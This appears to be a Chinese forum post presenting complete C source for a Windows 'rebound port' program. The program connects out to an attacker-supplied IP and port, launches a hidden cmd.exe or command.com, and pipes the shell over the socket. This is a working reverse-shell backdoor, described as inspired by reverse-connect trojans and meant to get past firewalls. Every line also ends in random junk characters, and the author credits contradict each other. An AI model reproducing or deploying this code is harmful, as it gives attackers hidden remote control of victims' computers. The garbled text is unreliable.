这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lA1R$
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/* ============================== 6!'yU=Z`
Rebound port in Windows NT n`hSn41A
By wind,2006/7 H5 -I}z
===============================*/ |gaZq!l
#include zL|^5p`K
#include 7#&sG
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#pragma comment(lib,"wsock32.lib") ge`J>2
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void OutputShell(); vQh'C.
SOCKET sClient; %>bwpN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xXbW6aI"
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void main(int argc,char **argv) vi2xonq^
{ t_N
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WSADATA stWsaData; g(`6cY[}
int nRet; i^>
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SOCKADDR_IN stSaiClient,stSaiServer; *qqFIp^
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if(argc != 3) h"'f~KM9a>
{ s.~SV"
printf("Useage:\n\rRebound DestIP DestPort\n"); #4hP_Vhc
return; kju:/kY A
} MhsG9q_%
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5x: XXj"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OU## A:gI
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stSaiClient.sin_family = AF_INET; "6}+|!"$
stSaiClient.sin_port = htons(0); >5j/4Ly
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (-#{qkA
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p$V+IJtO(
{ S\,{qhd
printf("Bind Socket Failed!\n"); ff0B*0
return; 3ZVfZf
} ;~K($_#H
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stSaiServer.sin_family = AF_INET; tY#^3ac
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EAI[J&c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +2g3%c0}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :JS}(
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printf("Connect Error!"); (UM+?]Qwy
return; #i,O
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} v:>P;\]r9M
OutputShell(); 8 2qe|XD4p
} f6#H@
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void OutputShell() 8%"e-chd
{ HT]ubw]rJ
char szBuff[1024]; M(BZ<,9V
SECURITY_ATTRIBUTES stSecurityAttributes; i!iODt3k
OSVERSIONINFO stOsversionInfo; v!uLd.(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BE2{qO{
STARTUPINFO stStartupInfo; N3?d?+A$
char *szShell; [q@%)F
PROCESS_INFORMATION stProcessInformation; G9i#_
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -bE|FFU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n >Ei1
stSecurityAttributes.lpSecurityDescriptor = 0; fP|\1Y?CS
stSecurityAttributes.bInheritHandle = TRUE; 26**tB<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u|ZO"t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {)y4Qp
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6i4j(P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V;V9_qP,
stStartupInfo.wShowWindow = SW_HIDE; \5Jv;gc\\
stStartupInfo.hStdInput = hReadPipe; p.HA`R>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )\(pDn$W
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GetVersionEx(&stOsversionInfo); twn@~$
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switch(stOsversionInfo.dwPlatformId) \
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{ ka*UyW}
case 1: yV. P.Q
szShell = "command.com"; . ~<+
break; 5"Yw$DB9
default: g9XtE
szShell = "cmd.exe"; l.BNe)1!22
break; DH^^$)
} [=Z{y8#:J
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UO wNcY
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send(sClient,szMsg,77,0); h2>0#Vp3j
while(1) ,&-[$,
{ b$`O|S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .phQ7":`
if(lBytesRead) ^wlep1D
{ <'-me09C*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FuKNH~MevQ
send(sClient,szBuff,lBytesRead,0); a|NU)mgEI
} iCS/~[
else H]e 2d|
{ riL!]'akV
lBytesRead=recv(sClient,szBuff,1024,0); |#wz)=mD
if(lBytesRead<=0) break; 0 Yp;?p^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {>Px.%[<
} 5*AKl< Jl
} #vSI_rt9I
b<n)`;
return; %?fzT+-=%
}